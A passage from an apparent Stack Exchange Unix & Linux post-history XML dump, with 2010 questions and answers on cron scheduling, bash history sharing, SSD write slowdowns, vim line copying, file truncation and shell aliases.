done&#xD;&#xA;&#xD;&#xA;Note I've chosen random times to show this will work if run anytime on Thursday, and dates which cross year boundaries plus include months with both 4 and 5 Thursdays.&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Thu Dec  2 06:19:00 UTC 2010: run&#xD;&#xA;    Thu Dec  9 23:04:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 16 05:37:00 UTC 2010: run&#xD;&#xA;    Thu Dec 23 12:49:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 30 03:59:00 UTC 2010: run&#xD;&#xA;    Thu Jan  6 11:29:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 13 13:23:00 UTC 2011: run&#xD;&#xA;    Thu Jan 20 20:33:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 27 16:48:00 UTC 2011: run&#xD;&#xA;    Thu Feb  3 17:43:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 10 05:49:00 UTC 2011: run&#xD;&#xA;    Thu Feb 17 08:46:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 24 06:50:00 UTC 2011: run&#xD;&#xA;    &#xD;&#xA;    Thu Dec  1 21:40:00 UTC 2011: run&#xD;&#xA;    Thu Dec  8 23:24:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 15 22:27:00 UTC 2011: run&#xD;&#xA;    Thu Dec 22 02:47:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 29 12:44:00 UTC 2011: run&#xD;&#xA;    Thu Jan  5 17:59:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 12 18:31:00 UTC 2012: run&#xD;&#xA;    Thu Jan 19 04:51:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 26 08:02:00 UTC 2012: run&#xD;&#xA;    Thu Feb  2 17:37:00 UTC 2012: skip&#xD;&#xA;    Thu Feb  9 14:08:00 UTC 2012: run&#xD;&#xA;    Thu Feb 16 18:50:00 UTC 2012: skip&#xD;&#xA;    Thu Feb 23 15:52:00 UTC 2012: run&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2462" PostHistoryTypeId="5" PostId="1287" RevisionGUID="862aa9ab-d643-43d4-8322-e271f1ce8ae7" CreationDate="2010-08-26T11:10:58.320" UserDisplayName="Roger Pate" Comment="added 13 characters in body" Text="    0 0 * * Thu bash -c '(($(date +%s) / 86400 % 14))' &amp;&amp; your-script&#xD;&#xA;&#xD;&#xA;I used bash to do my math because I'm lazy; switch that to whatever you like.  I take advantage of January 1, 1970 being a Thursday; for other days of the week you'd have to apply an offset.&#xD;&#xA;&#xD;&#xA;Quick check:&#xD;&#xA;&#xD;&#xA;    function check {&#xD;&#xA;      when=$(date --date=&quot;$1 $(($RANDOM % 24)):$(($RANDOM % 60))&quot; --utc)&#xD;&#xA;      echo -n &quot;$when: &quot;&#xD;&#xA;      (($(date +%s --date=&quot;$when&quot;) / 86400 % 14)) &amp;&amp; echo run || echo skip&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    for start in &quot;2010-12-02&quot; &quot;2011-12-01&quot;; do&#xD;&#xA;      for x in $(seq 0 12); do&#xD;&#xA;        check &quot;$start + $(($x * 7)) days&quot;&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note I've chosen random times to show this will work if run anytime on Thursday, and dates which cross year boundaries plus include months with both 4 and 5 Thursdays.&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Thu Dec  2 06:19:00 UTC 2010: run&#xD;&#xA;    Thu Dec  9 23:04:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 16 05:37:00 UTC 2010: run&#xD;&#xA;    Thu Dec 23 12:49:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 30 03:59:00 UTC 2010: run&#xD;&#xA;    Thu Jan  6 11:29:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 13 13:23:00 UTC 2011: run&#xD;&#xA;    Thu Jan 20 20:33:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 27 16:48:00 UTC 2011: run&#xD;&#xA;    Thu Feb  3 17:43:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 10 05:49:00 UTC 2011: run&#xD;&#xA;    Thu Feb 17 08:46:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 24 06:50:00 UTC 2011: run&#xD;&#xA;    &#xD;&#xA;    Thu Dec  1 21:40:00 UTC 2011: run&#xD;&#xA;    Thu Dec  8 23:24:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 15 22:27:00 UTC 2011: run&#xD;&#xA;    Thu Dec 22 02:47:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 29 12:44:00 UTC 2011: run&#xD;&#xA;    Thu Jan  5 17:59:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 12 18:31:00 UTC 2012: run&#xD;&#xA;    Thu Jan 19 04:51:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 26 08:02:00 UTC 2012: run&#xD;&#xA;    Thu Feb  2 17:37:00 UTC 2012: skip&#xD;&#xA;    Thu Feb  9 14:08:00 UTC 2012: run&#xD;&#xA;    Thu Feb 16 18:50:00 UTC 2012: skip&#xD;&#xA;    Thu Feb 23 15:52:00 UTC 2012: run&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2463" PostHistoryTypeId="2" PostId="1288" RevisionGUID="119d23f0-1dd6-4b3b-894d-aa77ff4313bb" CreationDate="2010-08-26T13:04:56.453" UserId="880" Text="I consistently have more than one terminal open. Anywhere from two to ten, doing various bits and bobs. Now let's say I restart and open up another set of terminals. Some remember certain things, some forget.&#xD;&#xA;&#xD;&#xA;I want a history that:&#xD;&#xA;&#xD;&#xA; - Remembers everything from every terminal&#xD;&#xA; - Is instantly accessible from every terminal (eg if I `ls` in one, switch to another already-running terminal and then press up, `ls` shows up)&#xD;&#xA; - Doesn't forget random things if there are spaces at the front of the command.&#xD;&#xA;&#xD;&#xA;Anything I can do to make bash work more like that?" />
  <row Id="2464" PostHistoryTypeId="1" PostId="1288" RevisionGUID="119d23f0-1dd6-4b3b-894d-aa77ff4313bb" CreationDate="2010-08-26T13:04:56.453" UserId="880" Text="Better bash history" />
  <row Id="2465" PostHistoryTypeId="3" PostId="1288" RevisionGUID="119d23f0-1dd6-4b3b-894d-aa77ff4313bb" CreationDate="2010-08-26T13:04:56.453" UserId="880" Text="ébashàécommandöhistoryà" />
  <row Id="2466" PostHistoryTypeId="2" PostId="1289" RevisionGUID="ed430ace-b7f9-4400-9254-700ba56f6fbc" CreationDate="2010-08-26T13:20:33.073" UserId="305" Text="I'm not aware about bash but for sure it is one of selling point of [zsh][1] shell. Personally I prefere zsh over bash so I'd advice try it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zsh.org/" />
  <row Id="2467" PostHistoryTypeId="5" PostId="1289" RevisionGUID="8b26e599-8ff7-4612-a983-28baa3742fc7" CreationDate="2010-08-26T13:52:00.710" UserId="305" Comment="added 555 characters in body" Text="I'm not aware about bash but for sure it is one of selling point of [zsh][1] shell. Personally I prefere zsh over bash so I'd advice try it.&#xD;&#xA;&#xD;&#xA;Part of my `~/.zshrc` that deals with history:&#xD;&#xA;&#xD;&#xA;    SAVEHIST=10000 # Number of entries&#xD;&#xA;    HISTFILE=~/.zsh/history # File&#xD;&#xA;    setopt APPEND_HISTORY # Don't erase history&#xD;&#xA;    setopt EXTENDED_HISTORY # Add additional data to history like timestamp&#xD;&#xA;    setopt INC_APPEND_HISTORY # Add immidiatly&#xD;&#xA;    setopt HIST_FIND_NO_DUPS # Don't show duplicates in search&#xD;&#xA;    setopt HIST_IGNORE_SPACE # Don't preserve spaces. You may want to turn it off&#xD;&#xA;    setopt NO_HIST_BEEP # Don't beep&#xD;&#xA;    setopt SHARE_HISTORY # Share history between session/terminals&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zsh.org/" />
  <row Id="2468" PostHistoryTypeId="2" PostId="1290" RevisionGUID="e989e843-abe7-462e-80d3-cc999d700e9a" CreationDate="2010-08-26T13:59:58.993" UserId="396" Text="I can offer a fix for that last one: make sure the env variable HISTCONTROL does not specify &quot;ignorespace&quot; (or &quot;ignoreboth&quot;).&#xD;&#xA;&#xD;&#xA;But I feel your pain with multiple concurrent sessions. It simply isn't handled well in bash.&#xD;&#xA;" />
  <row Id="2469" PostHistoryTypeId="2" PostId="1291" RevisionGUID="386715a4-36b3-4677-879d-bb7b0eea683f" CreationDate="2010-08-26T14:21:14.270" UserId="261" Text="Let people explore themselves. [alternativeto.net][1] allows you to find alternative applications for different operating systems.&#xD;&#xA;&#xD;&#xA;People love pictures, [whylinuxisbetter.net][2] has a great summary style landing page with pictures, click on them for a detailed breakdown.&#xD;&#xA;&#xD;&#xA;I had a nice site I used to refer people to, can't believe I completely forgot the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alternativeto.net&#xD;&#xA;  [2]: http://www.whylinuxisbetter.net" />
  <row Id="2470" PostHistoryTypeId="2" PostId="1292" RevisionGUID="9da957dc-68a3-453e-aaf8-e664552ef1f6" CreationDate="2010-08-26T14:37:49.907" UserId="348" Text="    # avoid duplicates..&#xD;&#xA;    export HISTCONTROL=ignoredups:erasedups  &#xD;&#xA;    # append history entries..&#xD;&#xA;    shopt -s histappend&#xD;&#xA;    &#xD;&#xA;    # After each command, save and reload history&#xD;&#xA;    export PROMPT_COMMAND=&quot;history -a; history -c; history -r; $PROMPT_COMMAND&quot;" />
  <row Id="2471" PostHistoryTypeId="2" PostId="1293" RevisionGUID="08da89e0-ea7d-46c6-84dd-88cea3587c65" CreationDate="2010-08-26T15:19:13.353" UserId="880" Text="I've noticed that when I do heavy write applications, the whole system slows down. To test this further I ran this to do a (relatively) low-CPU, high disk activity:&#xD;&#xA;&#xD;&#xA;    john -incremental &gt; file_on_SSD&#xD;&#xA;&#xD;&#xA;This pumps out tens of thousands of strings per second to a file on my system disk.&#xD;&#xA;&#xD;&#xA;When it's doing this, the mouse lags, TTYs become unresponsive, applications &quot;fade&quot; and generally the whole computer becomes unusable. When I can eventually Control+C `john`, the system comes back to full strength after a few seconds.&#xD;&#xA;&#xD;&#xA;This is an extreme example but I have similar issues with slightly less write-intensive activities like copying big files from fast sources or transcoding.&#xD;&#xA;&#xD;&#xA;My main OS disk is a quite fast SSD with EXT4. If I write `john`'s output to a mechanical disk with EXT4, I don't experience the same slow-downs though the rate is a lot slower (SSD does ~42,000 words per second, mechanical does 8,000 w/s). The throughput may be relevant. The mechanical disk also has nothing to do with the system. It's just data.&#xD;&#xA;&#xD;&#xA;And I'm using kernel 2.5.35-2 but I've noticed this issue since I got this SSD when I was probably using  .31 or something from around that time.&#xD;&#xA;&#xD;&#xA;**So what's causing the slowdown? EXT4 issue? Kernel issue? SSD issue? All of the above? Something else?**&#xD;&#xA;&#xD;&#xA;If you think I need to run an additional test, just drop a comment telling me what to do and I'll append the result to the question." />
  <row Id="2472" PostHistoryTypeId="1" PostId="1293" RevisionGUID="08da89e0-ea7d-46c6-84dd-88cea3587c65" CreationDate="2010-08-26T15:19:13.353" UserId="880" Text="Heavy write activity on SSD nukes system performance" />
  <row Id="2473" PostHistoryTypeId="3" PostId="1293" RevisionGUID="08da89e0-ea7d-46c6-84dd-88cea3587c65" CreationDate="2010-08-26T15:19:13.353" UserId="880" Text="ékernelàéperformanceàéioàéssdà" />
  <row Id="2474" PostHistoryTypeId="2" PostId="1294" RevisionGUID="33356edf-3340-4b5b-b09b-d027204df32b" CreationDate="2010-08-26T15:43:22.850" UserId="1144" Text="Try using [hexedit][1] I haven't tried it on HP-UX but it should work. It allows you to move to a location in a file and truncate. I'm pretty sure that it does not read the whole file in but just seeks to the appropriate location for display.&#xD;&#xA;&#xD;&#xA;Usage is fairly simple once you have launched it the arrow keys allow you to move around. F1 gives help. Ctrl-G moves to a location in the file (hint: to move to end use the size of the file from the bottom row of the display). Position the cursor on the first byte that you want to truncate and then press Escape T once you confirm the truncate will have been done. Ctrl-x exits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://merd.sourceforge.net/pixel/hexedit.html" />
  <row Id="2475" PostHistoryTypeId="5" PostId="1293" RevisionGUID="7e9da58e-31ea-4ca8-a1f0-8fbe8fffc180" CreationDate="2010-08-26T15:47:42.513" UserId="880" Comment="edited body" Text="I've noticed that when I do heavy write applications, the whole system slows down. To test this further I ran this to do a (relatively) low-CPU, high disk activity:&#xD;&#xA;&#xD;&#xA;    john -incremental &gt; file_on_SSD&#xD;&#xA;&#xD;&#xA;This pumps out tens of thousands of strings per second to a file on my system disk.&#xD;&#xA;&#xD;&#xA;When it's doing this, the mouse lags, TTYs become unresponsive, applications &quot;fade&quot; and generally the whole computer becomes unusable. When I can eventually Control+C `john`, the system comes back to full strength after a few seconds.&#xD;&#xA;&#xD;&#xA;This is an extreme example but I have similar issues with slightly less write-intensive activities like copying big files from fast sources or transcoding.&#xD;&#xA;&#xD;&#xA;My main OS disk is a quite fast SSD with EXT4. If I write `john`'s output to a mechanical disk with EXT4, I don't experience the same slow-downs though the rate is a lot slower (SSD does ~42,000 words per second, mechanical does 8,000 w/s). The throughput may be relevant. The mechanical disk also has nothing to do with the system. It's just data.&#xD;&#xA;&#xD;&#xA;And I'm using kernel 2.6.35-2 but I've noticed this issue since I got this SSD when I was probably using  .31 or something from around that time.&#xD;&#xA;&#xD;&#xA;**So what's causing the slowdown? EXT4 issue? Kernel issue? SSD issue? All of the above? Something else?**&#xD;&#xA;&#xD;&#xA;If you think I need to run an additional test, just drop a comment telling me what to do and I'll append the result to the question." />
  <row Id="2476" PostHistoryTypeId="2" PostId="1295" RevisionGUID="a2d0a9d4-1dd5-4415-8435-6f68c603fc10" CreationDate="2010-08-26T15:47:47.607" UserId="912" Text="For example&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;how can I yank and paste Line 4 to Line 12 **without having to move the cursor** to Line 4?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/5p1DH.png" />
  <row Id="2477" PostHistoryTypeId="1" PostId="1295" RevisionGUID="a2d0a9d4-1dd5-4415-8435-6f68c603fc10" CreationDate="2010-08-26T15:47:47.607" UserId="912" Text="How to yank a particular line without moving the cursor in vim?" />
  <row Id="2478" PostHistoryTypeId="3" PostId="1295" RevisionGUID="a2d0a9d4-1dd5-4415-8435-6f68c603fc10" CreationDate="2010-08-26T15:47:47.607" UserId="912" Text="élinuxàéshellàéunixàévimà" />
  <row Id="2479" PostHistoryTypeId="2" PostId="1296" RevisionGUID="1237fcd9-6850-4075-a0a2-ee57ab00b54d" CreationDate="2010-08-26T15:52:48.333" UserId="595" Text="This should do it:&#xD;&#xA;&#xD;&#xA;    :4,12y" />
  <row Id="2480" PostHistoryTypeId="5" PostId="1295" RevisionGUID="37b17df7-dd91-4806-83eb-e1cb4477f801" CreationDate="2010-08-26T16:01:17.377" UserId="912" Comment="added 5 characters in body; added 55 characters in body" Text="For example&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;How can I yank and paste Line 4 only to Line 12 **without having to move the cursor** to Line 4?&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/5p1DH.png&#xD;&#xA;  [2]: http://i.imgur.com/45YkE.png" />
  <row Id="2481" PostHistoryTypeId="2" PostId="1297" RevisionGUID="12d7019e-9014-4d3f-b669-a82cce04624b" CreationDate="2010-08-26T16:07:21.987" UserId="84" Text="I'm not certain you can do such a thing, otherwise an answer would've turned up from a Google search. The quickest way of doing that that I can think of is:&#xD;&#xA;&#xD;&#xA;4Gyy&#xD;&#xA;ctrl-o&#xD;&#xA;&#xD;&#xA;4G: takes you to line 4  &#xD;&#xA;yy: yanks the line  &#xD;&#xA;ctrl-o: takes you back to where you where." />
  <row Id="2482" PostHistoryTypeId="5" PostId="1296" RevisionGUID="988ef9e1-4c54-460d-87ab-97cc6013e7af" CreationDate="2010-08-26T16:07:22.173" UserId="595" Comment="... and paste; added 7 characters in body" Text="This should do it:&#xD;&#xA;&#xD;&#xA;    :4,12y&#xD;&#xA;    p&#xD;&#xA;    k" />
  <row Id="2483" PostHistoryTypeId="5" PostId="1201" RevisionGUID="4c5b053f-7a9b-4eca-9e68-ebe0df48bc40" CreationDate="2010-08-26T16:10:34.003" UserId="138" Comment="clarity" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system.&#xD;&#xA;&#xD;&#xA;For instance, consider this one-liner to get a list of 100 Gaussian-distributed numbers:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(rnorm(100) * 100 + 100, &quot;&quot;, 1)'&#xD;&#xA;    234.2903&#xD;&#xA;    -25.53289&#xD;&#xA;    168.0262&#xD;&#xA;    -28.49810&#xD;&#xA;    105.0687&#xD;&#xA;    85.97355&#xD;&#xA;    269.5072&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Let's break this down.&#xD;&#xA;&#xD;&#xA;The standard `R` command brings you into an interactive programming environment, which is fine if you're trying to work out how to do something by hand or are building something up incrementally, but from your question, it sounds like you just need a list of numbers to send to another program.  So instead, we use `Rscript`, which behaves more like a traditional Unix script interpreter: you can pass it the name of a file containing an R script, or use the standard `-e` flag to pass the entire program text on the command line.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Normal.html&quot;&gt;`rnorm()`&lt;/a&gt; is the R function to get a list of random numbers with the &quot;normal&quot; or Gaussian distribution.  It takes up to three parameters, only the first of which is required, how many numbers you want.  We've asked for 100.  By taking the defaults for the other two optional parameters, we get a mean of 0 and a standard deviation of 1.&#xD;&#xA;&#xD;&#xA;The arithmetic after that is just showing off a cool feature of the R language: you can do arithmetic on whole data tables, matrices, etc., just as easily as a scalar value in a more typical language.  I've multiplied all generated values by 100 and added 100 to them, just because I can.  You could do other things here, like clamp the values to integers, scale them in more useful ways, etc.&#xD;&#xA;&#xD;&#xA;We pass that table as the first parameter to the `write()` function, which writes the data out to a file by default, but we've overridden that by passing a blank string for the second parameter, the file name, so it writes the table out to the terminal instead.  The next parameter, `1`, just tells it we want our output in single-column format.&#xD;&#xA;&#xD;&#xA;R has many other random number generation functions and other probability distributions built into the base system.  R also has a rich set of add-ons in &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;, a package repository modeled on Perl's CPAN.  One you might be interested in is simply called &lt;a href=&quot;http://cran.opensourceresources.org/web/packages/random/&quot;&gt;random&lt;/a&gt;, which acts as an interface to &lt;a href=&quot;http://random.org/&quot;&gt;random.org&lt;/a&gt;, a service that returns true random numbers generated from atmospheric noise.&#xD;&#xA;&#xD;&#xA;R is a complete programming environment, so it may be that you don't actually need to get your numbers out of R in text format.  You might be able to solve your problem entirely in R.  Give it a shot." />
  <row Id="2484" PostHistoryTypeId="2" PostId="1298" RevisionGUID="9e1bd712-1975-48c5-854d-e3c54556267a" CreationDate="2010-08-26T16:19:33.190" UserId="1254" Text="You can use `split` or `ed`, `awk` or any programming language." />
  <row Id="2485" PostHistoryTypeId="5" PostId="1297" RevisionGUID="d43ce9a6-a181-4b65-b5ff-41925c4e1807" CreationDate="2010-08-26T16:20:32.813" UserId="84" Comment="added 32 characters in body" Text="I'm not certain you can do such a thing, otherwise an answer would've turned up from a Google search. The quickest way of doing that that I can think of is:&#xD;&#xA;&#xD;&#xA;4Gyy&#xD;&#xA;ctrl-o&#xD;&#xA;P&#xD;&#xA;&#xD;&#xA;4G: takes you to line 4  &#xD;&#xA;yy: yanks the line  &#xD;&#xA;ctrl-o: takes you back to where you where.  &#xD;&#xA;P: pastes the yanked line" />
  <row Id="2486" PostHistoryTypeId="5" PostId="1297" RevisionGUID="111bf8d5-cc20-4e45-bc7b-78c472733ac8" CreationDate="2010-08-26T16:27:38.077" UserId="84" Comment="deleted 278 characters in body; added 2 characters in body" Text="try this:&#xD;&#xA;&#xD;&#xA;:4,4y  &#xD;&#xA;P" />
  <row Id="2487" PostHistoryTypeId="2" PostId="1299" RevisionGUID="a0e0ba78-2096-4bf5-9dd3-7419172e96a3" CreationDate="2010-08-26T16:47:19.003" UserId="1071" Text="If the cursor is already on line 12, then a simple&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;:4y&#xD;&#xA;P&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;does it for me." />
  <row Id="2488" PostHistoryTypeId="2" PostId="1300" RevisionGUID="e2632a64-b179-45e0-88f8-bfb3f1c3f004" CreationDate="2010-08-26T17:47:29.563" UserId="1237" Text="This has been a known issue for awhile. Using an SSD-tuned FS like Btrfs might help, but it might not.&#xD;&#xA;&#xD;&#xA;Ultimately, it is a bug in the IO scheduler/memory management systems. Recently, there have been some patches that aim to address this issue. See [Fixed: The Linux Desktop Responsiveness Problem?](http://www.phoronix.com/scan.php?page=news_item&amp;px=ODQ3Mw)&#xD;&#xA;&#xD;&#xA;These patches may eventually make their way into the mainline kernel, but for now, you will probably have to compile your own kernel if you want to fix this issue." />
  <row Id="2489" PostHistoryTypeId="6" PostId="1279" RevisionGUID="e9582286-030e-4055-92a7-efa0a5730998" CreationDate="2010-08-26T18:15:04.583" UserId="357" Comment="edited tags" Text="éfilesàéeditorsàélargeöfilesàéhpöuxà" />
  <row Id="2490" PostHistoryTypeId="5" PostId="1295" RevisionGUID="d80ebc72-f51b-4743-bf10-91cd6f9b1b40" CreationDate="2010-08-26T18:22:48.390" UserId="912" Comment="added 2 characters in body" Text="For example&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;How can I yank and paste Line 4 only to Line 12 **without having to move the cursor** to Line 4?&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/5p1DH.png&#xD;&#xA;  [2]: http://i.imgur.com/1Xj0L.png" />
  <row Id="2491" PostHistoryTypeId="5" PostId="1297" RevisionGUID="682da9c2-cf06-424b-9003-fcff3f2ccb7f" CreationDate="2010-08-26T18:23:10.850" UserId="73" Comment="added 8 characters in body" Text="Try this:&#xD;&#xA;&#xD;&#xA;    :4,4y  &#xD;&#xA;    P" />
  <row Id="2492" PostHistoryTypeId="2" PostId="1301" RevisionGUID="5c811e6e-e42d-42fd-99f9-0e659f71a8e5" CreationDate="2010-08-26T18:24:43.580" UserId="732" Text="How about this:&#xD;&#xA;Cursor is on line 11, you're in &quot;vi&quot; mode.&#xD;&#xA;&#xD;&#xA;    :4co.&lt;return&gt;&#xD;&#xA;&#xD;&#xA;You can apparently also do it with a pattern:&#xD;&#xA;&#xD;&#xA;    :/^Yank/co.&lt;return&gt;&#xD;&#xA;&#xD;&#xA;You could use &quot;mo&quot; (move) instead of &quot;co&quot; (copy) to just move the line, instead of yank and put." />
  <row Id="2493" PostHistoryTypeId="2" PostId="1302" RevisionGUID="00d92b50-b207-42d5-a41b-6c8f2d85f112" CreationDate="2010-08-26T18:37:59.713" UserId="57" Text="Following are the two important line from nohup's [source code][1].  &#xD;&#xA;&#xD;&#xA;`(void)signal(SIGHUP, SIG_IGN);`     // Ignore SIGHUP&#xD;&#xA;&#xD;&#xA;`execvp(*argv, argv);`   // Run the command.&#xD;&#xA;&#xD;&#xA;So until your application calls something like &#xD;&#xA;&#xD;&#xA;`signal (SIGHUP, SIG_DFL);`  //OR some custom signal handler &#xD;&#xA;&#xD;&#xA;In the normal circumstances it will continue to run until you restart machine or kill it yourself.  &#xD;&#xA;It might also be terminated in the cases [pointed by kmarsh][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://src.gnu-darwin.org/src/usr.bin/nohup/nohup.c.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/1267/is-nohup-indefinite/1269#1269" />
  <row Id="2494" PostHistoryTypeId="2" PostId="1303" RevisionGUID="8bfb34fe-38c2-4500-aba0-a6ed0c233883" CreationDate="2010-08-26T20:25:46.493" UserId="1265" Text="If you can use [anacron][1] on the system, things will be mush simpler. To use anacron you must have it installed and also you must have root access. &#xD;&#xA;&#xD;&#xA;With anacron, one can schedule jobs in a more flexible way, e.g. run X job once a week. Also anacron runs jobs when computer becomes available, i.e. you don't have to consider when the system is up or down.&#xD;&#xA;&#xD;&#xA;To run a script every other week, you have to add a line similar to following to the /etc/anacrontab:&#xD;&#xA;&#xD;&#xA;    14 5 myScript script.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Take a look to the man page for details. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Anacron" />
  <row Id="2495" PostHistoryTypeId="2" PostId="1304" RevisionGUID="164f5b1f-b2c7-496b-ba83-f51d5ac2fa63" CreationDate="2010-08-26T23:20:28.187" UserId="1267" Text="&#xD;&#xA;I use Fedora 13 and very recently i brought a new Apple iPOD shuffle. I would like to know whether i can transfer music without using iTunes into my iPOD. I tried using gtkPOD and RhythmicBox, but thats is of no avail. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2496" PostHistoryTypeId="1" PostId="1304" RevisionGUID="164f5b1f-b2c7-496b-ba83-f51d5ac2fa63" CreationDate="2010-08-26T23:20:28.187" UserId="1267" Text="Configuring IPoD on Linux" />
  <row Id="2497" PostHistoryTypeId="3" PostId="1304" RevisionGUID="164f5b1f-b2c7-496b-ba83-f51d5ac2fa63" CreationDate="2010-08-26T23:20:28.187" UserId="1267" Text="ésoftwareà" />
  <row Id="2498" PostHistoryTypeId="2" PostId="1305" RevisionGUID="d4cbace5-2cc0-42fd-9303-b76d8e5553f0" CreationDate="2010-08-26T23:50:16.703" UserId="885" Text="Use a tool that gives you access to the `truncate` system call. You can do it with only POSIX tools. Warning, typed into a browser; be especially careful as `dd` is even more unforgiving of errors than the usual unix command. 123456 is the number of bytes to keep.&#xD;&#xA;&#xD;&#xA;    dd if=/dev/null of=/file/to/truncate seek=1 bs=123456&#xD;&#xA;&#xD;&#xA;A Perl version is much more readable:&#xD;&#xA;&#xD;&#xA;    perl -e 'truncate &quot;$ARGV[0]&quot;, 123456 or die $!' /file/to/truncate&#xD;&#xA;" />
  <row Id="2499" PostHistoryTypeId="2" PostId="1306" RevisionGUID="37d7247e-5ca5-4fb2-af2c-11191f891af1" CreationDate="2010-08-27T00:58:50.587" UserId="160" Text="Try:&#xD;&#xA;&#xD;&#xA;    4co11&#xD;&#xA;&#xD;&#xA;You can use an argument of `0` to paste to line `1`.  This will also work with ranges:&#xD;&#xA;&#xD;&#xA;    m,n co k&#xD;&#xA;&#xD;&#xA;will copy lines `m` through `n` to line `k+1`.  The `move` command, `m`, works similarly." />
  <row Id="2500" PostHistoryTypeId="5" PostId="1306" RevisionGUID="6c50b3b3-b994-405a-9399-827510111ffe" CreationDate="2010-08-27T02:02:36.220" UserId="160" Comment="+++location invariance" Text="Try:&#xD;&#xA;&#xD;&#xA;    4co11&#xD;&#xA;&#xD;&#xA;You can use an argument of `0` to paste to line `1`.  This will also work with ranges:&#xD;&#xA;&#xD;&#xA;    m,n co k&#xD;&#xA;&#xD;&#xA;will copy lines `m` through `n` to line `k+1`.  In addition it doesn't matter where you are in the buffer.  The `move` command, `m`, works similarly." />
  <row Id="2501" PostHistoryTypeId="5" PostId="410" RevisionGUID="4d9bdfae-1555-4ca2-8ab4-fd7f15582a5d" CreationDate="2010-08-27T03:08:06.377" UserId="228" Comment="added 35 characters in body" Text="If you are a fast typist, these come in handy:&#xD;&#xA;&#xD;&#xA;    alias grpe='grep --color=tty'&#xD;&#xA;    alias gpre='grep --color=tty'&#xD;&#xA;    alias rgep='grep --color=tty'&#xD;&#xA;    alias gerp='grep --color=tty'&#xD;&#xA;&#xD;&#xA;This macro helps you compute totals of a column of output: file sizes, bytes, packets, all you have to do is specify the column that you want to add:&#xD;&#xA;&#xD;&#xA;    total ()&#xD;&#xA;    {&#xD;&#xA;            if [ x$1 = x ]; then set `echo 1`; fi&#xD;&#xA;            awk &quot;{total += \$$1} END {print total}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You use it like this for example, with no arguments, it adds the total of the first column:&#xD;&#xA;&#xD;&#xA;    du | total&#xD;&#xA;&#xD;&#xA;If you provide the argument, it will sum that column, for example, this gives you the total number of bytes used by all the C# files in /tmp:&#xD;&#xA;&#xD;&#xA;    ls -l /tmp/*cs | total 5&#xD;&#xA;&#xD;&#xA;Sometimes your console gets messed up because you accidentally viewed a binary file (cat /bin/ls for example), you can restore the terminal with this shell function:&#xD;&#xA;&#xD;&#xA;    restaura ()&#xD;&#xA;    {&#xD;&#xA;        perl -e 'print &quot;\e)B&quot;;'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I like my ls to use characters to distinguish the class of files, and also to hide the backup files generated by my editor (backup files end with the ~ character):&#xD;&#xA;&#xD;&#xA;    alias ls='ls -FB'&#xD;&#xA;&#xD;&#xA;" />
